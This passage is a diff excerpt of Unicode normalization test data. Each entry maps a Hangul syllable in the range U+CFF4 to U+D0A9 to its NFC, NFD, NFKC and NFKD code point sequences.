+{ source: [0xCFF4], NFC: [0xCFF4], NFD: [0x110F, 0x116E, 0x11BB], NFKC: [0xCFF4], NFKD: [0x110F, 0x116E, 0x11BB] },
+{ source: [0xCFF5], NFC: [0xCFF5], NFD: [0x110F, 0x116E, 0x11BC], NFKC: [0xCFF5], NFKD: [0x110F, 0x116E, 0x11BC] },
+{ source: [0xCFF6], NFC: [0xCFF6], NFD: [0x110F, 0x116E, 0x11BD], NFKC: [0xCFF6], NFKD: [0x110F, 0x116E, 0x11BD] },
+{ source: [0xCFF7], NFC: [0xCFF7], NFD: [0x110F, 0x116E, 0x11BE], NFKC: [0xCFF7], NFKD: [0x110F, 0x116E, 0x11BE] },
+{ source: [0xCFF8], NFC: [0xCFF8], NFD: [0x110F, 0x116E, 0x11BF], NFKC: [0xCFF8], NFKD: [0x110F, 0x116E, 0x11BF] },
+{ source: [0xCFF9], NFC: [0xCFF9], NFD: [0x110F, 0x116E, 0x11C0], NFKC: [0xCFF9], NFKD: [0x110F, 0x116E, 0x11C0] },
+{ source: [0xCFFA], NFC: [0xCFFA], NFD: [0x110F, 0x116E, 0x11C1], NFKC: [0xCFFA], NFKD: [0x110F, 0x116E, 0x11C1] },
+{ source: [0xCFFB], NFC: [0xCFFB], NFD: [0x110F, 0x116E, 0x11C2], NFKC: [0xCFFB], NFKD: [0x110F, 0x116E, 0x11C2] },
+{ source: [0xCFFC], NFC: [0xCFFC], NFD: [0x110F, 0x116F], NFKC: [0xCFFC], NFKD: [0x110F, 0x116F] },
+{ source: [0xCFFD], NFC: [0xCFFD], NFD: [0x110F, 0x116F, 0x11A8], NFKC: [0xCFFD], NFKD: [0x110F, 0x116F, 0x11A8] },
+{ source: [0xCFFE], NFC: [0xCFFE], NFD: [0x110F, 0x116F, 0x11A9], NFKC: [0xCFFE], NFKD: [0x110F, 0x116F, 0x11A9] },
+{ source: [0xCFFF], NFC: [0xCFFF], NFD: [0x110F, 0x116F, 0x11AA], NFKC: [0xCFFF], NFKD: [0x110F, 0x116F, 0x11AA] },
+{ source: [0xD000], NFC: [0xD000], NFD: [0x110F, 0x116F, 0x11AB], NFKC: [0xD000], NFKD: [0x110F, 0x116F, 0x11AB] },
+{ source: [0xD001], NFC: [0xD001], NFD: [0x110F, 0x116F, 0x11AC], NFKC: [0xD001], NFKD: [0x110F, 0x116F, 0x11AC] },
+{ source: [0xD002], NFC: [0xD002], NFD: [0x110F, 0x116F, 0x11AD], NFKC: [0xD002], NFKD: [0x110F, 0x116F, 0x11AD] },
+{ source: [0xD003], NFC: [0xD003], NFD: [0x110F, 0x116F, 0x11AE], NFKC: [0xD003], NFKD: [0x110F, 0x116F, 0x11AE] },
+{ source: [0xD004], NFC: [0xD004], NFD: [0x110F, 0x116F, 0x11AF], NFKC: [0xD004], NFKD: [0x110F, 0x116F, 0x11AF] },
+{ source: [0xD005], NFC: [0xD005], NFD: [0x110F, 0x116F, 0x11B0], NFKC: [0xD005], NFKD: [0x110F, 0x116F, 0x11B0] },
+{ source: [0xD006], NFC: [0xD006], NFD: [0x110F, 0x116F, 0x11B1], NFKC: [0xD006], NFKD: [0x110F, 0x116F, 0x11B1] },
+{ source: [0xD007], NFC: [0xD007], NFD: [0x110F, 0x116F, 0x11B2], NFKC: [0xD007], NFKD: [0x110F, 0x116F, 0x11B2] },
+{ source: [0xD008], NFC: [0xD008], NFD: [0x110F, 0x116F, 0x11B3], NFKC: [0xD008], NFKD: [0x110F, 0x116F, 0x11B3] },
+{ source: [0xD009], NFC: [0xD009], NFD: [0x110F, 0x116F, 0x11B4], NFKC: [0xD009], NFKD: [0x110F, 0x116F, 0x11B4] },
+{ source: [0xD00A], NFC: [0xD00A], NFD: [0x110F, 0x116F, 0x11B5], NFKC: [0xD00A], NFKD: [0x110F, 0x116F, 0x11B5] },
+{ source: [0xD00B], NFC: [0xD00B], NFD: [0x110F, 0x116F, 0x11B6], NFKC: [0xD00B], NFKD: [0x110F, 0x116F, 0x11B6] },
+{ source: [0xD00C], NFC: [0xD00C], NFD: [0x110F, 0x116F, 0x11B7], NFKC: [0xD00C], NFKD: [0x110F, 0x116F, 0x11B7] },
+{ source: [0xD00D], NFC: [0xD00D], NFD: [0x110F, 0x116F, 0x11B8], NFKC: [0xD00D], NFKD: [0x110F, 0x116F, 0x11B8] },
+{ source: [0xD00E], NFC: [0xD00E], NFD: [0x110F, 0x116F, 0x11B9], NFKC: [0xD00E], NFKD: [0x110F, 0x116F, 0x11B9] },
+{ source: [0xD00F], NFC: [0xD00F], NFD: [0x110F, 0x116F, 0x11BA], NFKC: [0xD00F], NFKD: [0x110F, 0x116F, 0x11BA] },
+{ source: [0xD010], NFC: [0xD010], NFD: [0x110F, 0x116F, 0x11BB], NFKC: [0xD010], NFKD: [0x110F, 0x116F, 0x11BB] },
+{ source: [0xD011], NFC: [0xD011], NFD: [0x110F, 0x116F, 0x11BC], NFKC: [0xD011], NFKD: [0x110F, 0x116F, 0x11BC] },
+{ source: [0xD012], NFC: [0xD012], NFD: [0x110F, 0x116F, 0x11BD], NFKC: [0xD012], NFKD: [0x110F, 0x116F, 0x11BD] },
+{ source: [0xD013], NFC: [0xD013], NFD: [0x110F, 0x116F, 0x11BE], NFKC: [0xD013], NFKD: [0x110F, 0x116F, 0x11BE] },
+{ source: [0xD014], NFC: [0xD014], NFD: [0x110F, 0x116F, 0x11BF], NFKC: [0xD014], NFKD: [0x110F, 0x116F, 0x11BF] },
+{ source: [0xD015], NFC: [0xD015], NFD: [0x110F, 0x116F, 0x11C0], NFKC: [0xD015], NFKD: [0x110F, 0x116F, 0x11C0] },
+{ source: [0xD016], NFC: [0xD016], NFD: [0x110F, 0x116F, 0x11C1], NFKC: [0xD016], NFKD: [0x110F, 0x116F, 0x11C1] },
+{ source: [0xD017], NFC: [0xD017], NFD: [0x110F, 0x116F, 0x11C2], NFKC: [0xD017], NFKD: [0x110F, 0x116F, 0x11C2] },
+{ source: [0xD018], NFC: [0xD018], NFD: [0x110F, 0x1170], NFKC: [0xD018], NFKD: [0x110F, 0x1170] },
+{ source: [0xD019], NFC: [0xD019], NFD: [0x110F, 0x1170, 0x11A8], NFKC: [0xD019], NFKD: [0x110F, 0x1170, 0x11A8] },
+{ source: [0xD01A], NFC: [0xD01A], NFD: [0x110F, 0x1170, 0x11A9], NFKC: [0xD01A], NFKD: [0x110F, 0x1170, 0x11A9] },
+{ source: [0xD01B], NFC: [0xD01B], NFD: [0x110F, 0x1170, 0x11AA], NFKC: [0xD01B], NFKD: [0x110F, 0x1170, 0x11AA] },
+{ source: [0xD01C], NFC: [0xD01C], NFD: [0x110F, 0x1170, 0x11AB], NFKC: [0xD01C], NFKD: [0x110F, 0x1170, 0x11AB] },
+{ source: [0xD01D], NFC: [0xD01D], NFD: [0x110F, 0x1170, 0x11AC], NFKC: [0xD01D], NFKD: [0x110F, 0x1170, 0x11AC] },
+{ source: [0xD01E], NFC: [0xD01E], NFD: [0x110F, 0x1170, 0x11AD], NFKC: [0xD01E], NFKD: [0x110F, 0x1170, 0x11AD] },
+{ source: [0xD01F], NFC: [0xD01F], NFD: [0x110F, 0x1170, 0x11AE], NFKC: [0xD01F], NFKD: [0x110F, 0x1170, 0x11AE] },
+{ source: [0xD020], NFC: [0xD020], NFD: [0x110F, 0x1170, 0x11AF], NFKC: [0xD020], NFKD: [0x110F, 0x1170, 0x11AF] },
+{ source: [0xD021], NFC: [0xD021], NFD: [0x110F, 0x1170, 0x11B0], NFKC: [0xD021], NFKD: [0x110F, 0x1170, 0x11B0] },
+{ source: [0xD022], NFC: [0xD022], NFD: [0x110F, 0x1170, 0x11B1], NFKC: [0xD022], NFKD: [0x110F, 0x1170, 0x11B1] },
+{ source: [0xD023], NFC: [0xD023], NFD: [0x110F, 0x1170, 0x11B2], NFKC: [0xD023], NFKD: [0x110F, 0x1170, 0x11B2] },
+{ source: [0xD024], NFC: [0xD024], NFD: [0x110F, 0x1170, 0x11B3], NFKC: [0xD024], NFKD: [0x110F, 0x1170, 0x11B3] },
+{ source: [0xD025], NFC: [0xD025], NFD: [0x110F, 0x1170, 0x11B4], NFKC: [0xD025], NFKD: [0x110F, 0x1170, 0x11B4] },
+{ source: [0xD026], NFC: [0xD026], NFD: [0x110F, 0x1170, 0x11B5], NFKC: [0xD026], NFKD: [0x110F, 0x1170, 0x11B5] },
+{ source: [0xD027], NFC: [0xD027], NFD: [0x110F, 0x1170, 0x11B6], NFKC: [0xD027], NFKD: [0x110F, 0x1170, 0x11B6] },
+{ source: [0xD028], NFC: [0xD028], NFD: [0x110F, 0x1170, 0x11B7], NFKC: [0xD028], NFKD: [0x110F, 0x1170, 0x11B7] },
+{ source: [0xD029], NFC: [0xD029], NFD: [0x110F, 0x1170, 0x11B8], NFKC: [0xD029], NFKD: [0x110F, 0x1170, 0x11B8] },
+{ source: [0xD02A], NFC: [0xD02A], NFD: [0x110F, 0x1170, 0x11B9], NFKC: [0xD02A], NFKD: [0x110F, 0x1170, 0x11B9] },
+{ source: [0xD02B], NFC: [0xD02B], NFD: [0x110F, 0x1170, 0x11BA], NFKC: [0xD02B], NFKD: [0x110F, 0x1170, 0x11BA] },
+{ source: [0xD02C], NFC: [0xD02C], NFD: [0x110F, 0x1170, 0x11BB], NFKC: [0xD02C], NFKD: [0x110F, 0x1170, 0x11BB] },
+{ source: [0xD02D], NFC: [0xD02D], NFD: [0x110F, 0x1170, 0x11BC], NFKC: [0xD02D], NFKD: [0x110F, 0x1170, 0x11BC] },
+{ source: [0xD02E], NFC: [0xD02E], NFD: [0x110F, 0x1170, 0x11BD], NFKC: [0xD02E], NFKD: [0x110F, 0x1170, 0x11BD] },
+{ source: [0xD02F], NFC: [0xD02F], NFD: [0x110F, 0x1170, 0x11BE], NFKC: [0xD02F], NFKD: [0x110F, 0x1170, 0x11BE] },
+{ source: [0xD030], NFC: [0xD030], NFD: [0x110F, 0x1170, 0x11BF], NFKC: [0xD030], NFKD: [0x110F, 0x1170, 0x11BF] },
+{ source: [0xD031], NFC: [0xD031], NFD: [0x110F, 0x1170, 0x11C0], NFKC: [0xD031], NFKD: [0x110F, 0x1170, 0x11C0] },
+{ source: [0xD032], NFC: [0xD032], NFD: [0x110F, 0x1170, 0x11C1], NFKC: [0xD032], NFKD: [0x110F, 0x1170, 0x11C1] },
+{ source: [0xD033], NFC: [0xD033], NFD: [0x110F, 0x1170, 0x11C2], NFKC: [0xD033], NFKD: [0x110F, 0x1170, 0x11C2] },
+{ source: [0xD034], NFC: [0xD034], NFD: [0x110F, 0x1171], NFKC: [0xD034], NFKD: [0x110F, 0x1171] },
+{ source: [0xD035], NFC: [0xD035], NFD: [0x110F, 0x1171, 0x11A8], NFKC: [0xD035], NFKD: [0x110F, 0x1171, 0x11A8] },
+{ source: [0xD036], NFC: [0xD036], NFD: [0x110F, 0x1171, 0x11A9], NFKC: [0xD036], NFKD: [0x110F, 0x1171, 0x11A9] },
+{ source: [0xD037], NFC: [0xD037], NFD: [0x110F, 0x1171, 0x11AA], NFKC: [0xD037], NFKD: [0x110F, 0x1171, 0x11AA] },
+{ source: [0xD038], NFC: [0xD038], NFD: [0x110F, 0x1171, 0x11AB], NFKC: [0xD038], NFKD: [0x110F, 0x1171, 0x11AB] },
+{ source: [0xD039], NFC: [0xD039], NFD: [0x110F, 0x1171, 0x11AC], NFKC: [0xD039], NFKD: [0x110F, 0x1171, 0x11AC] },
+{ source: [0xD03A], NFC: [0xD03A], NFD: [0x110F, 0x1171, 0x11AD], NFKC: [0xD03A], NFKD: [0x110F, 0x1171, 0x11AD] },
+{ source: [0xD03B], NFC: [0xD03B], NFD: [0x110F, 0x1171, 0x11AE], NFKC: [0xD03B], NFKD: [0x110F, 0x1171, 0x11AE] },
+{ source: [0xD03C], NFC: [0xD03C], NFD: [0x110F, 0x1171, 0x11AF], NFKC: [0xD03C], NFKD: [0x110F, 0x1171, 0x11AF] },
+{ source: [0xD03D], NFC: [0xD03D], NFD: [0x110F, 0x1171, 0x11B0], NFKC: [0xD03D], NFKD: [0x110F, 0x1171, 0x11B0] },
+{ source: [0xD03E], NFC: [0xD03E], NFD: [0x110F, 0x1171, 0x11B1], NFKC: [0xD03E], NFKD: [0x110F, 0x1171, 0x11B1] },
+{ source: [0xD03F], NFC: [0xD03F], NFD: [0x110F, 0x1171, 0x11B2], NFKC: [0xD03F], NFKD: [0x110F, 0x1171, 0x11B2] },
+{ source: [0xD040], NFC: [0xD040], NFD: [0x110F, 0x1171, 0x11B3], NFKC: [0xD040], NFKD: [0x110F, 0x1171, 0x11B3] },
+{ source: [0xD041], NFC: [0xD041], NFD: [0x110F, 0x1171, 0x11B4], NFKC: [0xD041], NFKD: [0x110F, 0x1171, 0x11B4] },
+{ source: [0xD042], NFC: [0xD042], NFD: [0x110F, 0x1171, 0x11B5], NFKC: [0xD042], NFKD: [0x110F, 0x1171, 0x11B5] },
+{ source: [0xD043], NFC: [0xD043], NFD: [0x110F, 0x1171, 0x11B6], NFKC: [0xD043], NFKD: [0x110F, 0x1171, 0x11B6] },
+{ source: [0xD044], NFC: [0xD044], NFD: [0x110F, 0x1171, 0x11B7], NFKC: [0xD044], NFKD: [0x110F, 0x1171, 0x11B7] },
+{ source: [0xD045], NFC: [0xD045], NFD: [0x110F, 0x1171, 0x11B8], NFKC: [0xD045], NFKD: [0x110F, 0x1171, 0x11B8] },
+{ source: [0xD046], NFC: [0xD046], NFD: [0x110F, 0x1171, 0x11B9], NFKC: [0xD046], NFKD: [0x110F, 0x1171, 0x11B9] },
+{ source: [0xD047], NFC: [0xD047], NFD: [0x110F, 0x1171, 0x11BA], NFKC: [0xD047], NFKD: [0x110F, 0x1171, 0x11BA] },
+{ source: [0xD048], NFC: [0xD048], NFD: [0x110F, 0x1171, 0x11BB], NFKC: [0xD048], NFKD: [0x110F, 0x1171, 0x11BB] },
+{ source: [0xD049], NFC: [0xD049], NFD: [0x110F, 0x1171, 0x11BC], NFKC: [0xD049], NFKD: [0x110F, 0x1171, 0x11BC] },
+{ source: [0xD04A], NFC: [0xD04A], NFD: [0x110F, 0x1171, 0x11BD], NFKC: [0xD04A], NFKD: [0x110F, 0x1171, 0x11BD] },
+{ source: [0xD04B], NFC: [0xD04B], NFD: [0x110F, 0x1171, 0x11BE], NFKC: [0xD04B], NFKD: [0x110F, 0x1171, 0x11BE] },
+{ source: [0xD04C], NFC: [0xD04C], NFD: [0x110F, 0x1171, 0x11BF], NFKC: [0xD04C], NFKD: [0x110F, 0x1171, 0x11BF] },
+{ source: [0xD04D], NFC: [0xD04D], NFD: [0x110F, 0x1171, 0x11C0], NFKC: [0xD04D], NFKD: [0x110F, 0x1171, 0x11C0] },
+{ source: [0xD04E], NFC: [0xD04E], NFD: [0x110F, 0x1171, 0x11C1], NFKC: [0xD04E], NFKD: [0x110F, 0x1171, 0x11C1] },
+{ source: [0xD04F], NFC: [0xD04F], NFD: [0x110F, 0x1171, 0x11C2], NFKC: [0xD04F], NFKD: [0x110F, 0x1171, 0x11C2] },
+{ source: [0xD050], NFC: [0xD050], NFD: [0x110F, 0x1172], NFKC: [0xD050], NFKD: [0x110F, 0x1172] },
+{ source: [0xD051], NFC: [0xD051], NFD: [0x110F, 0x1172, 0x11A8], NFKC: [0xD051], NFKD: [0x110F, 0x1172, 0x11A8] },
+{ source: [0xD052], NFC: [0xD052], NFD: [0x110F, 0x1172, 0x11A9], NFKC: [0xD052], NFKD: [0x110F, 0x1172, 0x11A9] },
+{ source: [0xD053], NFC: [0xD053], NFD: [0x110F, 0x1172, 0x11AA], NFKC: [0xD053], NFKD: [0x110F, 0x1172, 0x11AA] },
+{ source: [0xD054], NFC: [0xD054], NFD: [0x110F, 0x1172, 0x11AB], NFKC: [0xD054], NFKD: [0x110F, 0x1172, 0x11AB] },
+{ source: [0xD055], NFC: [0xD055], NFD: [0x110F, 0x1172, 0x11AC], NFKC: [0xD055], NFKD: [0x110F, 0x1172, 0x11AC] },
+{ source: [0xD056], NFC: [0xD056], NFD: [0x110F, 0x1172, 0x11AD], NFKC: [0xD056], NFKD: [0x110F, 0x1172, 0x11AD] },
+{ source: [0xD057], NFC: [0xD057], NFD: [0x110F, 0x1172, 0x11AE], NFKC: [0xD057], NFKD: [0x110F, 0x1172, 0x11AE] },
+{ source: [0xD058], NFC: [0xD058], NFD: [0x110F, 0x1172, 0x11AF], NFKC: [0xD058], NFKD: [0x110F, 0x1172, 0x11AF] },
+{ source: [0xD059], NFC: [0xD059], NFD: [0x110F, 0x1172, 0x11B0], NFKC: [0xD059], NFKD: [0x110F, 0x1172, 0x11B0] },
+{ source: [0xD05A], NFC: [0xD05A], NFD: [0x110F, 0x1172, 0x11B1], NFKC: [0xD05A], NFKD: [0x110F, 0x1172, 0x11B1] },
+{ source: [0xD05B], NFC: [0xD05B], NFD: [0x110F, 0x1172, 0x11B2], NFKC: [0xD05B], NFKD: [0x110F, 0x1172, 0x11B2] },
+{ source: [0xD05C], NFC: [0xD05C], NFD: [0x110F, 0x1172, 0x11B3], NFKC: [0xD05C], NFKD: [0x110F, 0x1172, 0x11B3] },
+{ source: [0xD05D], NFC: [0xD05D], NFD: [0x110F, 0x1172, 0x11B4], NFKC: [0xD05D], NFKD: [0x110F, 0x1172, 0x11B4] },
+{ source: [0xD05E], NFC: [0xD05E], NFD: [0x110F, 0x1172, 0x11B5], NFKC: [0xD05E], NFKD: [0x110F, 0x1172, 0x11B5] },
+{ source: [0xD05F], NFC: [0xD05F], NFD: [0x110F, 0x1172, 0x11B6], NFKC: [0xD05F], NFKD: [0x110F, 0x1172, 0x11B6] },
+{ source: [0xD060], NFC: [0xD060], NFD: [0x110F, 0x1172, 0x11B7], NFKC: [0xD060], NFKD: [0x110F, 0x1172, 0x11B7] },
+{ source: [0xD061], NFC: [0xD061], NFD: [0x110F, 0x1172, 0x11B8], NFKC: [0xD061], NFKD: [0x110F, 0x1172, 0x11B8] },
+{ source: [0xD062], NFC: [0xD062], NFD: [0x110F, 0x1172, 0x11B9], NFKC: [0xD062], NFKD: [0x110F, 0x1172, 0x11B9] },
+{ source: [0xD063], NFC: [0xD063], NFD: [0x110F, 0x1172, 0x11BA], NFKC: [0xD063], NFKD: [0x110F, 0x1172, 0x11BA] },
+{ source: [0xD064], NFC: [0xD064], NFD: [0x110F, 0x1172, 0x11BB], NFKC: [0xD064], NFKD: [0x110F, 0x1172, 0x11BB] },
+{ source: [0xD065], NFC: [0xD065], NFD: [0x110F, 0x1172, 0x11BC], NFKC: [0xD065], NFKD: [0x110F, 0x1172, 0x11BC] },
+{ source: [0xD066], NFC: [0xD066], NFD: [0x110F, 0x1172, 0x11BD], NFKC: [0xD066], NFKD: [0x110F, 0x1172, 0x11BD] },
+{ source: [0xD067], NFC: [0xD067], NFD: [0x110F, 0x1172, 0x11BE], NFKC: [0xD067], NFKD: [0x110F, 0x1172, 0x11BE] },
+{ source: [0xD068], NFC: [0xD068], NFD: [0x110F, 0x1172, 0x11BF], NFKC: [0xD068], NFKD: [0x110F, 0x1172, 0x11BF] },
+{ source: [0xD069], NFC: [0xD069], NFD: [0x110F, 0x1172, 0x11C0], NFKC: [0xD069], NFKD: [0x110F, 0x1172, 0x11C0] },
+{ source: [0xD06A], NFC: [0xD06A], NFD: [0x110F, 0x1172, 0x11C1], NFKC: [0xD06A], NFKD: [0x110F, 0x1172, 0x11C1] },
+{ source: [0xD06B], NFC: [0xD06B], NFD: [0x110F, 0x1172, 0x11C2], NFKC: [0xD06B], NFKD: [0x110F, 0x1172, 0x11C2] },
+{ source: [0xD06C], NFC: [0xD06C], NFD: [0x110F, 0x1173], NFKC: [0xD06C], NFKD: [0x110F, 0x1173] },
+{ source: [0xD06D], NFC: [0xD06D], NFD: [0x110F, 0x1173, 0x11A8], NFKC: [0xD06D], NFKD: [0x110F, 0x1173, 0x11A8] },
+{ source: [0xD06E], NFC: [0xD06E], NFD: [0x110F, 0x1173, 0x11A9], NFKC: [0xD06E], NFKD: [0x110F, 0x1173, 0x11A9] },
+{ source: [0xD06F], NFC: [0xD06F], NFD: [0x110F, 0x1173, 0x11AA], NFKC: [0xD06F], NFKD: [0x110F, 0x1173, 0x11AA] },
+{ source: [0xD070], NFC: [0xD070], NFD: [0x110F, 0x1173, 0x11AB], NFKC: [0xD070], NFKD: [0x110F, 0x1173, 0x11AB] },
+{ source: [0xD071], NFC: [0xD071], NFD: [0x110F, 0x1173, 0x11AC], NFKC: [0xD071], NFKD: [0x110F, 0x1173, 0x11AC] },
+{ source: [0xD072], NFC: [0xD072], NFD: [0x110F, 0x1173, 0x11AD], NFKC: [0xD072], NFKD: [0x110F, 0x1173, 0x11AD] },
+{ source: [0xD073], NFC: [0xD073], NFD: [0x110F, 0x1173, 0x11AE], NFKC: [0xD073], NFKD: [0x110F, 0x1173, 0x11AE] },
+{ source: [0xD074], NFC: [0xD074], NFD: [0x110F, 0x1173, 0x11AF], NFKC: [0xD074], NFKD: [0x110F, 0x1173, 0x11AF] },
+{ source: [0xD075], NFC: [0xD075], NFD: [0x110F, 0x1173, 0x11B0], NFKC: [0xD075], NFKD: [0x110F, 0x1173, 0x11B0] },
+{ source: [0xD076], NFC: [0xD076], NFD: [0x110F, 0x1173, 0x11B1], NFKC: [0xD076], NFKD: [0x110F, 0x1173, 0x11B1] },
+{ source: [0xD077], NFC: [0xD077], NFD: [0x110F, 0x1173, 0x11B2], NFKC: [0xD077], NFKD: [0x110F, 0x1173, 0x11B2] },
+{ source: [0xD078], NFC: [0xD078], NFD: [0x110F, 0x1173, 0x11B3], NFKC: [0xD078], NFKD: [0x110F, 0x1173, 0x11B3] },
+{ source: [0xD079], NFC: [0xD079], NFD: [0x110F, 0x1173, 0x11B4], NFKC: [0xD079], NFKD: [0x110F, 0x1173, 0x11B4] },
+{ source: [0xD07A], NFC: [0xD07A], NFD: [0x110F, 0x1173, 0x11B5], NFKC: [0xD07A], NFKD: [0x110F, 0x1173, 0x11B5] },
+{ source: [0xD07B], NFC: [0xD07B], NFD: [0x110F, 0x1173, 0x11B6], NFKC: [0xD07B], NFKD: [0x110F, 0x1173, 0x11B6] },
+{ source: [0xD07C], NFC: [0xD07C], NFD: [0x110F, 0x1173, 0x11B7], NFKC: [0xD07C], NFKD: [0x110F, 0x1173, 0x11B7] },
+{ source: [0xD07D], NFC: [0xD07D], NFD: [0x110F, 0x1173, 0x11B8], NFKC: [0xD07D], NFKD: [0x110F, 0x1173, 0x11B8] },
+{ source: [0xD07E], NFC: [0xD07E], NFD: [0x110F, 0x1173, 0x11B9], NFKC: [0xD07E], NFKD: [0x110F, 0x1173, 0x11B9] },
+{ source: [0xD07F], NFC: [0xD07F], NFD: [0x110F, 0x1173, 0x11BA], NFKC: [0xD07F], NFKD: [0x110F, 0x1173, 0x11BA] },
+{ source: [0xD080], NFC: [0xD080], NFD: [0x110F, 0x1173, 0x11BB], NFKC: [0xD080], NFKD: [0x110F, 0x1173, 0x11BB] },
+{ source: [0xD081], NFC: [0xD081], NFD: [0x110F, 0x1173, 0x11BC], NFKC: [0xD081], NFKD: [0x110F, 0x1173, 0x11BC] },
+{ source: [0xD082], NFC: [0xD082], NFD: [0x110F, 0x1173, 0x11BD], NFKC: [0xD082], NFKD: [0x110F, 0x1173, 0x11BD] },
+{ source: [0xD083], NFC: [0xD083], NFD: [0x110F, 0x1173, 0x11BE], NFKC: [0xD083], NFKD: [0x110F, 0x1173, 0x11BE] },
+{ source: [0xD084], NFC: [0xD084], NFD: [0x110F, 0x1173, 0x11BF], NFKC: [0xD084], NFKD: [0x110F, 0x1173, 0x11BF] },
+{ source: [0xD085], NFC: [0xD085], NFD: [0x110F, 0x1173, 0x11C0], NFKC: [0xD085], NFKD: [0x110F, 0x1173, 0x11C0] },
+{ source: [0xD086], NFC: [0xD086], NFD: [0x110F, 0x1173, 0x11C1], NFKC: [0xD086], NFKD: [0x110F, 0x1173, 0x11C1] },
+{ source: [0xD087], NFC: [0xD087], NFD: [0x110F, 0x1173, 0x11C2], NFKC: [0xD087], NFKD: [0x110F, 0x1173, 0x11C2] },
+{ source: [0xD088], NFC: [0xD088], NFD: [0x110F, 0x1174], NFKC: [0xD088], NFKD: [0x110F, 0x1174] },
+{ source: [0xD089], NFC: [0xD089], NFD: [0x110F, 0x1174, 0x11A8], NFKC: [0xD089], NFKD: [0x110F, 0x1174, 0x11A8] },
+{ source: [0xD08A], NFC: [0xD08A], NFD: [0x110F, 0x1174, 0x11A9], NFKC: [0xD08A], NFKD: [0x110F, 0x1174, 0x11A9] },
+{ source: [0xD08B], NFC: [0xD08B], NFD: [0x110F, 0x1174, 0x11AA], NFKC: [0xD08B], NFKD: [0x110F, 0x1174, 0x11AA] },
+{ source: [0xD08C], NFC: [0xD08C], NFD: [0x110F, 0x1174, 0x11AB], NFKC: [0xD08C], NFKD: [0x110F, 0x1174, 0x11AB] },
+{ source: [0xD08D], NFC: [0xD08D], NFD: [0x110F, 0x1174, 0x11AC], NFKC: [0xD08D], NFKD: [0x110F, 0x1174, 0x11AC] },
+{ source: [0xD08E], NFC: [0xD08E], NFD: [0x110F, 0x1174, 0x11AD], NFKC: [0xD08E], NFKD: [0x110F, 0x1174, 0x11AD] },
+{ source: [0xD08F], NFC: [0xD08F], NFD: [0x110F, 0x1174, 0x11AE], NFKC: [0xD08F], NFKD: [0x110F, 0x1174, 0x11AE] },
+{ source: [0xD090], NFC: [0xD090], NFD: [0x110F, 0x1174, 0x11AF], NFKC: [0xD090], NFKD: [0x110F, 0x1174, 0x11AF] },
+{ source: [0xD091], NFC: [0xD091], NFD: [0x110F, 0x1174, 0x11B0], NFKC: [0xD091], NFKD: [0x110F, 0x1174, 0x11B0] },
+{ source: [0xD092], NFC: [0xD092], NFD: [0x110F, 0x1174, 0x11B1], NFKC: [0xD092], NFKD: [0x110F, 0x1174, 0x11B1] },
+{ source: [0xD093], NFC: [0xD093], NFD: [0x110F, 0x1174, 0x11B2], NFKC: [0xD093], NFKD: [0x110F, 0x1174, 0x11B2] },
+{ source: [0xD094], NFC: [0xD094], NFD: [0x110F, 0x1174, 0x11B3], NFKC: [0xD094], NFKD: [0x110F, 0x1174, 0x11B3] },
+{ source: [0xD095], NFC: [0xD095], NFD: [0x110F, 0x1174, 0x11B4], NFKC: [0xD095], NFKD: [0x110F, 0x1174, 0x11B4] },
+{ source: [0xD096], NFC: [0xD096], NFD: [0x110F, 0x1174, 0x11B5], NFKC: [0xD096], NFKD: [0x110F, 0x1174, 0x11B5] },
+{ source: [0xD097], NFC: [0xD097], NFD: [0x110F, 0x1174, 0x11B6], NFKC: [0xD097], NFKD: [0x110F, 0x1174, 0x11B6] },
+{ source: [0xD098], NFC: [0xD098], NFD: [0x110F, 0x1174, 0x11B7], NFKC: [0xD098], NFKD: [0x110F, 0x1174, 0x11B7] },
+{ source: [0xD099], NFC: [0xD099], NFD: [0x110F, 0x1174, 0x11B8], NFKC: [0xD099], NFKD: [0x110F, 0x1174, 0x11B8] },
+{ source: [0xD09A], NFC: [0xD09A], NFD: [0x110F, 0x1174, 0x11B9], NFKC: [0xD09A], NFKD: [0x110F, 0x1174, 0x11B9] },
+{ source: [0xD09B], NFC: [0xD09B], NFD: [0x110F, 0x1174, 0x11BA], NFKC: [0xD09B], NFKD: [0x110F, 0x1174, 0x11BA] },
+{ source: [0xD09C], NFC: [0xD09C], NFD: [0x110F, 0x1174, 0x11BB], NFKC: [0xD09C], NFKD: [0x110F, 0x1174, 0x11BB] },
+{ source: [0xD09D], NFC: [0xD09D], NFD: [0x110F, 0x1174, 0x11BC], NFKC: [0xD09D], NFKD: [0x110F, 0x1174, 0x11BC] },
+{ source: [0xD09E], NFC: [0xD09E], NFD: [0x110F, 0x1174, 0x11BD], NFKC: [0xD09E], NFKD: [0x110F, 0x1174, 0x11BD] },
+{ source: [0xD09F], NFC: [0xD09F], NFD: [0x110F, 0x1174, 0x11BE], NFKC: [0xD09F], NFKD: [0x110F, 0x1174, 0x11BE] },
+{ source: [0xD0A0], NFC: [0xD0A0], NFD: [0x110F, 0x1174, 0x11BF], NFKC: [0xD0A0], NFKD: [0x110F, 0x1174, 0x11BF] },
+{ source: [0xD0A1], NFC: [0xD0A1], NFD: [0x110F, 0x1174, 0x11C0], NFKC: [0xD0A1], NFKD: [0x110F, 0x1174, 0x11C0] },
+{ source: [0xD0A2], NFC: [0xD0A2], NFD: [0x110F, 0x1174, 0x11C1], NFKC: [0xD0A2], NFKD: [0x110F, 0x1174, 0x11C1] },
+{ source: [0xD0A3], NFC: [0xD0A3], NFD: [0x110F, 0x1174, 0x11C2], NFKC: [0xD0A3], NFKD: [0x110F, 0x1174, 0x11C2] },
+{ source: [0xD0A4], NFC: [0xD0A4], NFD: [0x110F, 0x1175], NFKC: [0xD0A4], NFKD: [0x110F, 0x1175] },
+{ source: [0xD0A5], NFC: [0xD0A5], NFD: [0x110F, 0x1175, 0x11A8], NFKC: [0xD0A5], NFKD: [0x110F, 0x1175, 0x11A8] },
+{ source: [0xD0A6], NFC: [0xD0A6], NFD: [0x110F, 0x1175, 0x11A9], NFKC: [0xD0A6], NFKD: [0x110F, 0x1175, 0x11A9] },
+{ source: [0xD0A7], NFC: [0xD0A7], NFD: [0x110F, 0x1175, 0x11AA], NFKC: [0xD0A7], NFKD: [0x110F, 0x1175, 0x11AA] },
+{ source: [0xD0A8], NFC: [0xD0A8], NFD: [0x110F, 0x1175, 0x11AB], NFKC: [0xD0A8], NFKD: [0x110F, 0x1175, 0x11AB] },
+{ source: [0xD0A9], NFC: [0xD0A9], NFD: [0x110F, 0x1175, 0x11AC], NFKC: [0xD0A9], NFKD: [0x110F, 0x1175, 0x11AC] },
